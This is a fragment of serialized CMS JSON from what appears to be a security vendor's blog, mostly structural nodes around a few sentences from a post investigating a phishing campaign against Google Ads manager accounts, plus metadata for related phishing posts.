",{"data":107974,"content":107978,"nodeType":925},{"target":107975},{"sys":107976},{"id":107977,"type":922,"linkType":923},"7jnQqRk0JuqEtrQ3HXy3f8",[],{"data":107980,"content":107981,"nodeType":953},{},[],{"data":107983,"content":107984,"nodeType":963},{},[107985],{"data":107986,"marks":107987,"value":22744,"nodeType":865},{},[107988],{"type":961},{"data":107990,"content":107991,"nodeType":866},{},[107992],{"data":107993,"marks":107994,"value":107995,"nodeType":865},{},[],"We have opted not to provide the domains associated with that campaign to preserve the privacy of the individuals being impersonated by the attacker. In many cases, their full name was included in the URL for the phishing page, while their name and profile picture (most likely scraped from LinkedIn) are also visible on the landing page. ",{"data":107997,"content":107998,"nodeType":866},{},[107999],{"data":108000,"marks":108001,"value":108002,"nodeType":865},{},[],"However, with the rate at which these domains were spun up and subsequently taken down (by the attacker or the site hosting the links) IoC-based detections for campaigns such as this are of limited value. ",{"data":108004,"content":108005,"nodeType":953},{},[],{"data":108007,"content":108008,"nodeType":963},{},[108009],{"data":108010,"marks":108011,"value":1704,"nodeType":865},{},[108012],{"type":961},{"data":108014,"content":108015,"nodeType":866},{},[108016],{"data":108017,"marks":108018,"value":108019,"nodeType":865},{},[],"Push researchers are continuously analysing and developing new detections based on the latest phishing kits and TTPs which enables us to stay two steps ahead of attackers.",{"data":108021,"content":108022,"nodeType":866},{},[108023],{"data":108024,"marks":108025,"value":74702,"nodeType":865},{},[],{"data":108027,"content":108028,"nodeType":866},{},[108029,108032,108039,108042,108049],{"data":108030,"marks":108031,"value":32401,"nodeType":865},{},[],{"data":108033,"content":108034,"nodeType":882},{"uri":22700},[108035],{"data":108036,"marks":108037,"value":22706,"nodeType":865},{},[108038],{"type":997},{"data":108040,"marks":108041,"value":71034,"nodeType":865},{},[],{"data":108043,"content":108044,"nodeType":882},{"uri":1728},[108045],{"data":108046,"marks":108047,"value":22730,"nodeType":865},{},[108048],{"type":997},{"data":108050,"marks":108051,"value":1048,"nodeType":865},{},[],{"data":108053,"content":108056,"nodeType":925},{"target":108054},{"sys":108055},{"id":71049,"type":922,"linkType":923},[],{"data":108058,"content":108059,"nodeType":866},{},[108060],{"data":108061,"marks":108062,"value":21,"nodeType":865},{},[],"Investigating a phishing campaign targeting Google Ads Manager MCC accounts to propagate malvertising lures. ","2025-12-02T00:00:00.000Z",{"items":108066},[108067,108069],{"sys":108068,"name":11426},{"id":11425},{"sys":108070,"name":342},{"id":8410},{"items":108072},[108073],{"fullName":32445,"firstName":32446,"jobTitle":32447,"profilePicture":108074},{"url":32449},{"__typename":1788,"sys":108076,"content":108077,"title":74729,"synopsis":74730,"hashTags":59,"publishedDate":74731,"slug":74732,"tagsCollection":108893,"authorsCollection":108899},{"id":73788},{"json":108078},{"data":108079,"content":108080,"nodeType":1739},{},[108081,108087,108093,108099,108102,108109,108115,108121,108126,108132,108137,108153,108159,108169,108172,108179,108185,108198,108204,108214,108219,108222,108229,108236,108241,108249,108265,108273,108279,108287,108302,108310,108316,108324,108350,108358,108364,108372,108388,108393,108401,108407,108415,108448,108451,108458,108466,108482,108490,108496,108504,108530,108535,108543,108549,108554,108557,108564,108572,108578,108629,108634,108637,108644,108652,108658,108663,108666,108673,108679,108685,108745,108751,108806,108812,108815,108822,108828,108834,108839,108842,108849,108855,108861,108867],{"data":108082,"content":108083,"nodeType":866},{},[108084],{"data":108085,"marks":108086,"value":73799,"nodeType":865},{},[],{"data":108088,"content":108089,"nodeType":866},{},[108090],{"data":108091,"marks":108092,"value":73806,"nodeType":865},{},[],{"data":108094,"content":108095,"nodeType":866},{},[108096],{"data":108097,"marks":108098,"value":73813,"nodeType":865},{},[],{"data":108100,"content":108101,"nodeType":953},{},[],{"data":108103,"content":108104,"nodeType":963},{},[108105],{"data":108106,"marks":108107,"value":73824,"nodeType":865},{},[108108],{"type":961},{"data":108110,"content":108111,"nodeType":866},{},[108112],{"data":108113,"marks":108114,"value":73831,"nodeType":865},{},[],{"data":108116,"content":108117,"nodeType":866},{},[108118],{"data":108119,"marks":108120,"value":73838,"nodeType":865},{},[],{"data":108122,"content":108125,"nodeType":925},{"target":108123},{"sys":108124},{"id":73843,"type":922,"linkType":923},[],{"data":108127,"content":108128,"nodeType":866},{},[108129],{"data":108130,"marks":108131,"value":73851,"nodeType":865},{},[],{"data":108133,"content":108136,"nodeType":925},{"target":108134},{"sys":108135},{"id":73856,"type":922,"linkType":923},[],{"data":108138,"content":108139,"nodeType":866},{},[108140,108143,108150],{"data":108141,"marks":108142,"value":73864,"nodeType":865},{},[],{"data":108144,"content":108145,"nodeType":882},{"uri":39517},[108146],{"data":108147,"marks":108148,"value":73872,"nodeType":865},{},[108149],{"type":997},{"data":108151,"marks":108152,"value":73876,"nodeType":865},{},[],{"data":108154,"content":108155,"nodeType":866},{},[108156],{"data":108157,"marks":108158,"value":73883,"nodeType":865},{},[],{"data":108160,"content":108161,"nodeType":866},{},[108162,108165],{"data":108163,"marks":108164,"value":73890,"nodeType":865},{},[],{"data":108166,"marks":108167,"value":73895,"nodeType":865},{},[108168],{"type":961},{"data":108170,"content":108171,"nodeType":953},{},[],{"data":108173,"content":108174,"nodeType":963},{},[108175],{"data":108176,"marks":108177,"value":73906,"nodeType":865},{},[108178],{"type":961},{"data":108180,"content":108181,"nodeType":866},{},[108182],{"data":108183,"marks":108184,"value":73913,"nodeType":865},{},[],{"data":108186,"content":108187,"nodeType":866},{},[108188,108191,108195],{"data":108189,"marks":108190,"value":73920,"nodeType":865},{},[],{"data":108192,"marks":108193,"value":73925,"nodeType":865},{},[108194],{"type":961},{"data":108196,"marks":108197,"value":73929,"nodeType":865},{},[],{"data":108199,"content":108200,"nodeType":866},{},[108201],{"data":108202,"marks":108203,"value":73936,"nodeType":865},{},[],{"data":108205,"content":108206,"nodeType":866},{},[108207,108210],{"data":108208,"marks":108209,"value":73943,"nodeType":865},{},[],{"data":108211,"marks":108212,"value":73948,"nodeType":865},{},[108213],{"type":961},{"data":108215,"content":108218,"nodeType":925},{"target":108216},{"sys":108217},{"id":73953,"type":922,"linkType":923},[],{"data":108220,"content":108221,"nodeType":953},{},[],{"data":108223,"content":108224,"nodeType":963},{},[108225],{"data":108226,"marks":108227,"value":73965,"nodeType":865},{},[108228],{"type":961},{"data":108230,"content":108231,"nodeType":1458},{},[108232],{"data":108233,"marks":108234,"value":73973,"nodeType":865},{},[108235],{"type":961},{"data":108237,"content":108240,"nodeType":925},{"target":108238},{"sys":108239},{"id":73978,"type":922,"linkType":923},[],{"data":108242,"content":108243,"nodeType":866},{},[108244],{"data":108245,"marks":108246,"value":73988,"nodeType":865},{},[108247,108248],{"type":961},{"type":997},{"data":108250,"content":108251,"nodeType":866},{},[108252,108255,108262],{"data":108253,"marks":108254,"value":73995,"nodeType":865},{},[],{"data":108256,"content":108257,"nodeType":882},{"uri":73998},[108258],{"data":108259,"marks":108260,"value":74004,"nodeType":865},{},[108261],{"type":997},{"data":108263,"marks":108264,"value":74008,"nodeType":865},{},[],{"data":108266,"content":108267,"nodeType":866},{},[108268],{"data":108269,"marks":108270,"value":74017,"nodeType":865},{},[108271,108272],{"type":961},{"type":997},{"data":108274,"content":108275,"nodeType":866},{},[108276],{"data":108277,"marks":108278,"value":74024,"nodeType":865},{},[],{"data":108280,"content":108281,"nodeType":866},{},[108282],{"data":108283,"marks":108284,"value":74033,"nodeType":865},{},[108285,108286],{"type":961},{"type":997},{"data":108288,"content":108289,"nodeType":866},{},[108290,108293,108299],{"data":108291,"marks":108292,"value":74040,"nodeType":865},{},[],{"data":108294,"content":108295,"nodeType":882},{"uri":74043},[108296],{"data":108297,"marks":108298,"value":74048,"nodeType":865},{},[],{"data":108300,"marks":108301,"value":74052,"nodeType":865},{},[],{"data":108303,"content":108304,"nodeType":866},{},[108305],{"data":108306,"marks":108307,"value":74061,"nodeType":865},{},[108308,108309],{"type":961},{"type":997},{"data":108311,"content":108312,"nodeType":866},{},[108313],{"data":108314,"marks":108315,"value":74068,"nodeType":865},{},[],{"data":108317,"content":108318,"nodeType":866},{},[108319],{"data":108320,"marks":108321,"value":74077,"nodeType":865},{},[108322,108323],{"type":961},{"type":997},{"data":108325,"content":108326,"nodeType":866},{},[108327,108330,108337,108340,108347],{"data":108328,"marks":108329,"value":74084,"nodeType":865},{},[],{"data":108331,"content":108332,"nodeType":882},{"uri":3904},[108333],{"data":108334,"marks":108335,"value":74092,"nodeType":865},{},[108336],{"type":997},{"data":108338,"marks":108339,"value":74096,"nodeType":865},{},[],{"data":108341,"content":108342,"nodeType":882},{"uri":74099},[108343],{"data":108344,"marks":108345,"value":10345,"nodeType":865},{},[108346],{"type":997},{"data":108348,"marks":108349,"value":74108,"nodeType":865},{},[],{"data":108351,"content":108352,"nodeType":866},{},[108353],{"data":108354,"marks":108355,"value":74117,"nodeType":865},{},[108356,108357],{"type":961},{"type":997},{"data":108359,"content":108360,"nodeType":866},{},[108361],{"data":108362,"marks":108363,"value":74124,"nodeType":865},{},[],{"data":108365,"content":108366,"nodeType":866},{},[108367],{"data":108368,"marks":108369,"value":74133,"nodeType":865},{},[108370,108371],{"type":961},{"type":997},{"data":108373,"content":108374,"nodeType":866},{},[108375,108378,108385],{"data":108376,"marks":108377,"value":74140,"nodeType":865},{},[],{"data":108379,"content":108380,"nodeType":882},{"uri":74099},[108381],{"data":108382,"marks":108383,"value":10345,"nodeType":865},{},[108384],{"type":997},{"data":108386,"marks":108387,"value":74151,"nodeType":865},{},[],{"data":108389,"content":108392,"nodeType":925},{"target":108390},{"sys":108391},{"id":74156,"type":922,"linkType":923},[],{"data":108394,"content":108395,"nodeType":866},{},[108396],{"data":108397,"marks":108398,"value":74166,"nodeType":865},{},[108399,108400],{"type":961},{"type":997},{"data":108402,"content":108403,"nodeType":866},{},[108404],{"data":108405,"marks":108406,"value":74173,"nodeType":865},{},[],{"data":108408,"content":108409,"nodeType":866},{},[108410],{"data":108411,"marks":108412,"value":74182,"nodeType":865},{},[108413,108414],{"type":961},{"type":997},{"data":108416,"content":108417,"nodeType":866},{},[108418,108421,108427,108430,108436,108439,108445],{"data":108419,"marks":108420,"value":74189,"nodeType":865},{},[],{"data":108422,"content":108423,"nodeType":882},{"uri":74192},[108424],{"data":108425,"marks":108426,"value":74197,"nodeType":865},{},[],{"data":108428,"marks":108429,"value":8756,"nodeType":865},{},[],{"data":108431,"content":108432,"nodeType":882},{"uri":74203},[108433],{"data":108434,"marks":108435,"value":74208,"nodeType":865},{},[],{"data":108437,"marks":108438,"value":74212,"nodeType":865},{},[],{"data":108440,"content":108441,"nodeType":882},{"uri":19454},[108442],{"data":108443,"marks":108444,"value":74219,"nodeType":865},{},[],{"data":108446,"marks":108447,"value":74223,"nodeType":865},{},[],{"data":108449,"content":108450,"nodeType":953},{},[],{"data":108452,"content":108453,"nodeType":1458},{},[108454],{"data":108455,"marks":108456,"value":74234,"nodeType":865},{},[108457],{"type":961},{"data":108459,"content":108460,"nodeType":866},{},[108461],{"data":108462,"marks":108463,"value":74243,"nodeType":865},{},[108464,108465],{"type":961},{"type":997},{"data":108467,"content":108468,"nodeType":866},{},[108469,108472,108479],{"data":108470,"marks":108471,"value":74250,"nodeType":865},{},[],{"data":108473,"content":108474,"nodeType":882},{"uri":74253},[108475],{"data":108476,"marks":108477,"value":74259,"nodeType":865},{},[108478],{"type":997},{"data":108480,"marks":108481,"value":74263,"nodeType":865},{},[],{"data":108483,"content":108484,"nodeType":866},{},[108485],{"data":108486,"marks":108487,"value":74272,"nodeType":865},{},[108488,108489],{"type":961},{"type":997},{"data":108491,"content":108492,"nodeType":866},{},[108493],{"data":108494,"marks":108495,"value":74279,"nodeType":865},{},[],{"data":108497,"content":108498,"nodeType":866},{},[108499],{"data":108500,"marks":108501,"value":74288,"nodeType":865},{},[108502,108503],{"type":961},{"type":997},{"data":108505,"content":108506,"nodeType":866},{},[108507,108510,108517,108520,108527],{"data":108508,"marks":108509,"value":74295,"nodeType":865},{},[],{"data":108511,"content":108512,"nodeType":882},{"uri":74298},[108513],{"data":108514,"marks":108515,"value":74304,"nodeType":865},{},[108516],{"type":997},{"data":108518,"marks":108519,"value":74308,"nodeType":865},{},[],{"data":108521,"content":108522,"nodeType":882},{"uri":74311},[108523],{"data":108524,"marks":108525,"value":74317,"nodeType":865},{},[108526],{"type":997},{"data":108528,"marks":108529,"value":74321,"nodeType":865},{},[],{"data":108531,"content":108534,"nodeType":925},{"target":108532},{"sys":108533},{"id":74326,"type":922,"linkType":923},[],{"data":108536,"content":108537,"nodeType":866},{},[108538],{"data":108539,"marks":108540,"value":74336,"nodeType":865},{},[108541,108542],{"type":961},{"type":997},{"data":108544,"content":108545,"nodeType":866},{},[108546],{"data":108547,"marks":108548,"value":74343,"nodeType":865},{},[],{"data":108550,"content":108553,"nodeType":925},{"target":108551},{"sys":108552},{"id":74348,"type":922,"linkType":923},[],{"data":108555,"content":108556,"nodeType":953},{},[],{"data":108558,"content":108559,"nodeType":1458},{},[108560],{"data":108561,"marks":108562,"value":694,"nodeType":865},{},[108563],{"type":961},{"data":108565,"content":108566,"nodeType":866},{},[108567],{"data":108568,"marks":108569,"value":74368,"nodeType":865},{},[108570,108571],{"type":961},{"type":997},{"data":108573,"content":108574,"nodeType":866},{},[108575],{"data":108576,"marks":108577,"value":74375,"nodeType":865},{},[],{"data":108579,"content":108580,"nodeType":1049},{},[108581,108594,108607],{"data":108582,"content":108583,"nodeType":1003},{},[108584],{"data":108585,"content":108586,"nodeType":866},{},[108587,108591],{"data":108588,"marks":108589,"value":74389,"nodeType":865},{},[108590],{"type":961},{"data":108592,"marks":108593,"value":74393,"nodeType":865},{},[],{"data":108595,"content":108596,"nodeType":1003},{},[108597],{"data":108598,"content":108599,"nodeType":866},{},[108600,108604],{"data":108601,"marks":108602,"value":74404,"nodeType":865},{},[108603],{"type":961},{"data":108605,"marks":108606,"value":74408,"nodeType":865},{},[],{"data":108608,"content":108609,"nodeType":1003},{},[108610],{"data":108611,"content":108612,"nodeType":866},{},[108613,108617,108620,108626],{"data":108614,"marks":108615,"value":74419,"nodeType":865},{},[108616],{"type":961},{"data":108618,"marks":108619,"value":74423,"nodeType":865},{},[],{"data":108621,"content":108622,"nodeType":882},{"uri":64109},[108623],{"data":108624,"marks":108625,"value":74430,"nodeType":865},{},[],{"data":108627,"marks":108628,"value":74434,"nodeType":865},{},[],{"data":108630,"content":108633,"nodeType":925},{"target":108631},{"sys":108632},{"id":74439,"type":922,"linkType":923},[],{"data":108635,"content":108636,"nodeType":953},{},[],{"data":108638,"content":108639,"nodeType":1458},{},[108640],{"data":108641,"marks":108642,"value":699,"nodeType":865},{},[108643],{"type":961},{"data":108645,"content":108646,"nodeType":866},{},[108647],{"data":108648,"marks":108649,"value":74459,"nodeType":865},{},[108650,108651],{"type":961},{"type":997},{"data":108653,"content":108654,"nodeType":866},{},[108655],{"data":108656,"marks":108657,"value":74466,"nodeType":865},{},[],{"data":108659,"content":108662,"nodeType":925},{"target":108660},{"sys":108661},{"id":74471,"type":922,"linkType":923},[],{"data":108664,"content":108665,"nodeType":953},{},[],{"data":108667,"content":108668,"nodeType":963},{},[108669],{"data":108670,"marks":108671,"value":38047,"nodeType":865},{},[108672],{"type":961},{"data":108674,"content":108675,"nodeType":866},{},[108676],{"data":108677,"marks":108678,"value":74489,"nodeType":865},{},[],{"data":108680,"content":108681,"nodeType":866},{},[108682],{"data":108683,"marks":108684,"value":74496,"nodeType":865},{},[],{"data":108686,"content":108687,"nodeType":1049},{},[108688,108707,108726],{"data":108689,"content":108690,"nodeType":1003},{},[108691],{"data":108692,"content":108693,"nodeType":866},{},[108694,108697,108704],{"data":108695,"marks":108696,"value":74509,"nodeType":865},{},[],{"data":108698,"content":108699,"nodeType":882},{"uri":74512},[108700],{"data":108701,"marks":108702,"value":29673,"nodeType":865},{},[108703],{"type":997},{"data":108705,"marks":108706,"value":23156,"nodeType":865},{},[],{"data":108708,"content":108709,"nodeType":1003},{},[108710],{"data":108711,"content":108712,"nodeType":866},{},[108713,108716,108723],{"data":108714,"marks":108715,"value":74530,"nodeType":865},{},[],{"data":108717,"content":108718,"nodeType":882},{"uri":74533},[108719],{"data":108720,"marks":108721,"value":74539,"nodeType":865},{},[108722],{"type":997},{"data":108724,"marks":108725,"value":23156,"nodeType":865},{},[],{"data":108727,"content":108728,"nodeType":1003},{},[108729],{"data":108730,"content":108731,"nodeType":866},{},[108732,108735,108742],{"data":108733,"marks":108734,"value":74552,"nodeType":865},{},[],{"data":108736,"content":108737,"nodeType":882},{"uri":3240},[108738],{"data":108739,"marks":108740,"value":74560,"nodeType":865},{},[108741],{"type":997},{"data":108743,"marks":108744,"value":23156,"nodeType":865},{},[],{"data":108746,"content":108747,"nodeType":866},{},[108748],{"data":108749,"marks":108750,"value":74570,"nodeType":865},{},[],{"data":108752,"content":108753,"nodeType":1049},{},[108754,108767,108780,108793],{"data":108755,"content":108756,"nodeType":1003},{},[108757],{"data":108758,"content":108759,"nodeType":866},{},[108760,108764],{"data":108761,"marks":108762,"value":74584,"nodeType":865},{},[108763],{"type":961},{"data":108765,"marks":108766,"value":74588,"nodeType":865},{},[],{"data":108768,"content":108769,"nodeType":1003},{},[108770],{"data":108771,"content":108772,"nodeType":866},{},[108773,108777],{"data":108774,"marks":108775,"value":74599,"nodeType":865},{},[108776],{"type":961},{"data":108778,"marks":108779,"value":74603,"nodeType":865},{},[],{"data":108781,"content":108782,"nodeType":1003},{},[108783],{"data":108784,"content":108785,"nodeType":866},{},[108786,108790],{"data":108787,"marks":108788,"value":74614,"nodeType":865},{},[108789],{"type":961},{"data":108791,"marks":108792,"value":74618,"nodeType":865},{},[],{"data":108794,"content":108795,"nodeType":1003},{},[108796],{"data":108797,"content":108798,"nodeType":866},{},[108799,108803],{"data":108800,"marks":108801,"value":74629,"nodeType":865},{},[108802],{"type":961},{"data":108804,"marks":108805,"value":74633,"nodeType":865},{},[],{"data":108807,"content":108808,"nodeType":866},{},[108809],{"data":108810,"marks":108811,"value":74640,"nodeType":865},{},[],{"data":108813,"content":108814,"nodeType":953},{},[],{"data":108816,"content":108817,"nodeType":963},{},[108818],{"data":108819,"marks":108820,"value":74651,"nodeType":865},{},[108821],{"type":961},{"data":108823,"content":108824,"nodeType":866},{},[108825],{"data":108826,"marks":108827,"value":74658,"nodeType":865},{},[],{"data":108829,"content":108830,"nodeType":866},{},[108831],{"data":108832,"marks":108833,"value":74665,"nodeType":865},{},[],{"data":108835,"content":108838,"nodeType":925},{"target":108836},{"sys":108837},{"id":74670,"type":922,"linkType":923},[],{"data":108840,"content":108841,"nodeType":953},{},[],{"data":108843,"content":108844,"nodeType":963},{},[108845],{"data":108846,"marks":108847,"value":3604,"nodeType":865},{},[108848],{"type":961},{"data":108850,"content":108851,"nodeType":866},{},[108852],{"data":108853,"marks":108854,"value":74688,"nodeType":865},{},[],{"data":108856,"content":108857,"nodeType":866},{},[108858],{"data":108859,"marks":108860,"value":74695,"nodeType":865},{},[],{"data":108862,"content":108863,"nodeType":866},{},[108864],{"data":108865,"marks":108866,"value":74702,"nodeType":865},{},[],{"data":108868,"content":108869,"nodeType":866},{},[108870,108873,108880,108883,108890],{"data":108871,"marks":108872,"value":32401,"nodeType":865},{},[],{"data":108874,"content":108875,"nodeType":882},{"uri":22700},[108876],{"data":108877,"marks":108878,"value":22706,"nodeType":865},{},[108879],{"type":997},{"data":108881,"marks":108882,"value":71034,"nodeType":865},{},[],{"data":108884,"content":108885,"nodeType":882},{"uri":1728},[108886],{"data":108887,"marks":108888,"value":22730,"nodeType":865},{},[108889],{"type":997},{"data":108891,"marks":108892,"value":1048,"nodeType":865},{},[],{"items":108894},[108895,108897],{"sys":108896,"name":11426},{"id":11425},{"sys":108898,"name":342},{"id":8410},{"items":108900},[108901],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":108902},{"url":11434},"blog/2025-top-phishing-trends",{"json":108905},{"data":108906,"content":108907,"nodeType":1739},{},[108908],{"data":108909,"content":108910,"nodeType":866},{},[108911],{"data":108912,"marks":108913,"value":108914,"nodeType":865},{},[],"Phishing attacks changed a lot through 2025. Here's the top trends from this year and what they mean for security teams heading into 2026. \n",{"id":101812,"publishedAt":108916},"2026-08-12T11:53:25.080Z",{"items":108918},[108919,108921],{"sys":108920,"name":342},{"id":8410},{"sys":108922,"name":11426},{"id":11425},{"items":108924},[108925,108927,108929,108931,108933,108935,108937,108939,108941,108943,108945,108947,108949,108951,108953,108955,108957,108959,108961,108963,108965,108967],{"sys":108926,"name":279,"slug":280,"tier":31},{"id":276},{"sys":108928,"name":413,"slug":414,"tier":31},{"id":410},{"sys":108930,"name":519,"slug":520,"tier":31},{"id":516},{"sys":108932,"name":642,"slug":643,"tier":31},{"id":639},{"sys":108934,"name":342,"slug":343,"tier":31},{"id":339},{"sys":108936,"name":261,"slug":262,"tier":45},{"id":258},{"sys":108938,"name":315,"slug":316,"tier":45},{"id":312},{"sys":108940,"name":324,"slug":325,"tier":45},{"id":321},{"sys":108942,"name":466,"slug":467,"tier":45},{"id":463},{"sys":108944,"name":511,"slug":512,"tier":45},{"id":508},{"sys":108946,"name":440,"slug":441,"tier":45},{"id":437},{"sys":108948,"name":563,"slug":564,"tier":45},{"id":560},{"sys":108950,"name":475,"slug":476,"tier":45},{"id":472},{"sys":108952,"name":607,"slug":608,"tier":45},{"id":604},{"sys":108954,"name":484,"slug":485,"tier":45},{"id":481},{"sys":108956,"name":360,"slug":361,"tier":45},{"id":357},{"sys":108958,"name":288,"slug":289,"tier":45},{"id":285},{"sys":108960,"name":422,"slug":423,"tier":45},{"id":419},{"sys":108962,"name":571,"slug":572,"tier":45},{"id":568},{"sys":108964,"name":431,"slug":432,"tier":45},{"id":428},{"sys":108966,"name":493,"slug":494,"tier":45},{"id":490},{"sys":108968,"name":404,"slug":405,"tier":45},{"id":401},"7YvVxDfBfBbYwky5xPf7erTDCzlAGNd3QktYmRe96W8",{"id":108971,"title":60304,"authorsCollection":108972,"content":108977,"extension":228,"faqItemsCollection":109869,"faqTitle":59,"featured":6,"hashTags":59,"meta":109871,"metaTitle":109872,"ogImage":59,"postType":21460,"publishedDate":71058,"relatedBlogPostsCollection":109873,"slug":60305,"stem":111462,"subtitle":59,"summary":111463,"synopsis":71057,"sys":111474,"tagsCollection":111476,"topicsCollection":111482,"__hash__":111496},"blog/blog/consentfix.json",{"items":108973},[108974],{"fullName":32445,"firstName":32446,"jobTitle":32447,"socialLinks":108975,"profilePicture":108976},[82067],{"url":32449},{"json":108978,"links":109713},{"data":108979,"content":108980,"nodeType":1739},{},[108981,108988,108994,109000,109006,109016,109022,109027,109032,109035,109042,109048,109054,109059,109075,109081,109086,109092,109097,109103,109142,109147,109152,109158,109164,109167,109174,109190,109196,109201,109217,109222,109238,109244,109247,109254,109260,109296,109306,109309,109316,109331,109337,109350,109356,109362,109367,109373,109376,109383,109389,109437,109443,109446,109453,109458,109464,109470,109475,109481,109510,109516,109522,109527,109533,109538,109545,109561,109567,109597,109603,109633,109636,109643,109649,109654,109670,109676,109702,109707],{"data":108982,"content":108983,"nodeType":963},{},[108984],{"data":108985,"marks":108986,"value":70224,"nodeType":865},{},[108987],{"type":961},{"data":108989,"content":108990,"nodeType":866},{},[108991],{"data":108992,"marks":108993,"value":70231,"nodeType":865},{},[],{"data":108995,"content":108996,"nodeType":866},{},[108997],{"data":108998,"marks":108999,"value":70238,"nodeType":865},{},[],{"data":109001,"content":109002,"nodeType":866},{},[109003],{"data":109004,"marks":109005,"value":70245,"nodeType":865},{},[],{"data":109007,"content":109008,"nodeType":866},{},[109009,109013],{"data":109010,"marks":109011,"value":70253,"nodeType":865},{},[109012],{"type":961},{"data":109014,"marks":109015,"value":70257,"nodeType":865},{},[],{"data":109017,"content":109018,"nodeType":866},{},[109019],{"data":109020,"marks":109021,"value":70264,"nodeType":865},{},[],{"data":109023,"content":109026,"nodeType":925},{"target":109024},{"sys":109025},{"id":70269,"type":922,"linkType":923},[],{"data":109028,"content":109031,"nodeType":925},{"target":109029},{"sys":109030},{"id":70275,"type":922,"linkType":923},[],{"data":109033,"content":109034,"nodeType":953},{},[],{"data":109036,"content":109037,"nodeType":963},{},[109038],{"data":109039,"marks":109040,"value":70287,"nodeType":865},{},[109041],{"type":961},{"data":109043,"content":109044,"nodeType":866},{},[109045],{"data":109046,"marks":109047,"value":70294,"nodeType":865},{},[],{"data":109049,"content":109050,"nodeType":866},{},[109051],{"data":109052,"marks":109053,"value":70301,"nodeType":865},{},[],{"data":109055,"content":109058,"nodeType":925},{"target":109056},{"sys":109057},{"id":70306,"type":922,"linkType":923},[],{"data":109060,"content":109061,"nodeType":866},{},[109062,109065,109072],{"data":109063,"marks":109064,"value":70314,"nodeType":865},{},[],{"data":109066,"content":109067,"nodeType":882},{"uri":70317},[109068],{"data":109069,"marks":109070,"value":70323,"nodeType":865},{},[109071],{"type":997},{"data":109073,"marks":109074,"value":70327,"nodeType":865},{},[],{"data":109076,"content":109077,"nodeType":866},{},[109078],{"data":109079,"marks":109080,"value":70334,"nodeType":865},{},[],{"data":109082,"content":109085,"nodeType":925},{"target":109083},{"sys":109084},{"id":70339,"type":922,"linkType":923},[],{"data":109087,"content":109088,"nodeType":866},{},[109089],{"data":109090,"marks":109091,"value":70347,"nodeType":865},{},[],{"data":109093,"content":109096,"nodeType":925},{"target":109094},{"sys":109095},{"id":70352,"type":922,"linkType":923},[],{"data":109098,"content":109099,"nodeType":866},{},[109100],{"data":109101,"marks":109102,"value":70360,"nodeType":865},{},[],{"data":109104,"content":109105,"nodeType":1049},{},[109106,109115,109124,109133],{"data":109107,"content":109108,"nodeType":1003},{},[109109],{"data":109110,"content":109111,"nodeType":866},{},[109112],{"data":109113,"marks":109114,"value":70373,"nodeType":865},{},[],{"data":109116,"content":109117,"nodeType":1003},{},[109118],{"data":109119,"content":109120,"nodeType":866},{},[109121],{"data":109122,"marks":109123,"value":70383,"nodeType":865},{},[],{"data":109125,"content":109126,"nodeType":1003},{},[109127],{"data":109128,"content":109129,"nodeType":866},{},[109130],{"data":109131,"marks":109132,"value":70393,"nodeType":865},{},[],{"data":109134,"content":109135,"nodeType":1003},{},[109136],{"data":109137,"content":109138,"nodeType":866},{},[109139],{"data":109140,"marks":109141,"value":70403,"nodeType":865},{},[],{"data":109143,"content":109146,"nodeType":925},{"target":109144},{"sys":109145},{"id":70408,"type":922,"linkType":923},[],{"data":109148,"content":109151,"nodeType":925},{"target":109149},{"sys":109150},{"id":70414,"type":922,"linkType":923},[],{"data":109153,"content":109154,"nodeType":866},{},[109155],{"data":109156,"marks":109157,"value":70422,"nodeType":865},{},[],{"data":109159,"content":109160,"nodeType":866},{},[109161],{"data":109162,"marks":109163,"value":70429,"nodeType":865},{},[],{"data":109165,"content":109166,"nodeType":953},{},[],{"data":109168,"content":109169,"nodeType":963},{},[109170],{"data":109171,"marks":109172,"value":70440,"nodeType":865},{},[109173],{"type":961},{"data":109175,"content":109176,"nodeType":866},{},[109177,109180,109187],{"data":109178,"marks":109179,"value":70447,"nodeType":865},{},[],{"data":109181,"content":109182,"nodeType":882},{"uri":70450},[109183],{"data":109184,"marks":109185,"value":70456,"nodeType":865},{},[109186],{"type":997},{"data":109188,"marks":109189,"value":70460,"nodeType":865},{},[],{"data":109191,"content":109192,"nodeType":866},{},[109193],{"data":109194,"marks":109195,"value":70467,"nodeType":865},{},[],{"data":109197,"content":109200,"nodeType":925},{"target":109198},{"sys":109199},{"id":70472,"type":922,"linkType":923},[],{"data":109202,"content":109203,"nodeType":866},{},[109204,109207,109214],{"data":109205,"marks":109206,"value":70480,"nodeType":865},{},[],{"data":109208,"content":109209,"nodeType":882},{"uri":38372},[109210],{"data":109211,"marks":109212,"value":70488,"nodeType":865},{},[109213],{"type":997},{"data":109215,"marks":109216,"value":1048,"nodeType":865},{},[],{"data":109218,"content":109221,"nodeType":925},{"target":109219},{"sys":109220},{"id":70496,"type":922,"linkType":923},[],{"data":109223,"content":109224,"nodeType":866},{},[109225,109228,109235],{"data":109226,"marks":109227,"value":70504,"nodeType":865},{},[],{"data":109229,"content":109230,"nodeType":882},{"uri":70507},[109231],{"data":109232,"marks":109233,"value":441,"nodeType":865},{},[109234],{"type":997},{"data":109236,"marks":109237,"value":70516,"nodeType":865},{},[],{"data":109239,"content":109240,"nodeType":866},{},[109241],{"data":109242,"marks":109243,"value":70523,"nodeType":865},{},[],{"data":109245,"content":109246,"nodeType":953},{},[],{"data":109248,"content":109249,"nodeType":963},{},[109250],{"data":109251,"marks":109252,"value":70534,"nodeType":865},{},[109253],{"type":961},{"data":109255,"content":109256,"nodeType":866},{},[109257],{"data":109258,"marks":109259,"value":70541,"nodeType":865},{},[],{"data":109261,"content":109262,"nodeType":866},{},[109263,109266,109273,109276,109283,109286,109293],{"data":109264,"marks":109265,"value":70548,"nodeType":865},{},[],{"data":109267,"content":109268,"nodeType":882},{"uri":70551},[109269],{"data":109270,"marks":109271,"value":70557,"nodeType":865},{},[109272],{"type":997},{"data":109274,"marks":109275,"value":8756,"nodeType":865},{},[],{"data":109277,"content":109278,"nodeType":882},{"uri":70563},[109279],{"data":109280,"marks":109281,"value":29100,"nodeType":865},{},[109282],{"type":997},{"data":109284,"marks":109285,"value":70572,"nodeType":865},{},[],{"data":109287,"content":109288,"nodeType":882},{"uri":70575},[109289],{"data":109290,"marks":109291,"value":70581,"nodeType":865},{},[109292],{"type":997},{"data":109294,"marks":109295,"value":70585,"nodeType":865},{},[],{"data":109297,"content":109298,"nodeType":866},{},[109299,109302],{"data":109300,"marks":109301,"value":70592,"nodeType":865},{},[],{"data":109303,"marks":109304,"value":70597,"nodeType":865},{},[109305],{"type":961},{"data":109307,"content":109308,"nodeType":953},{},[],{"data"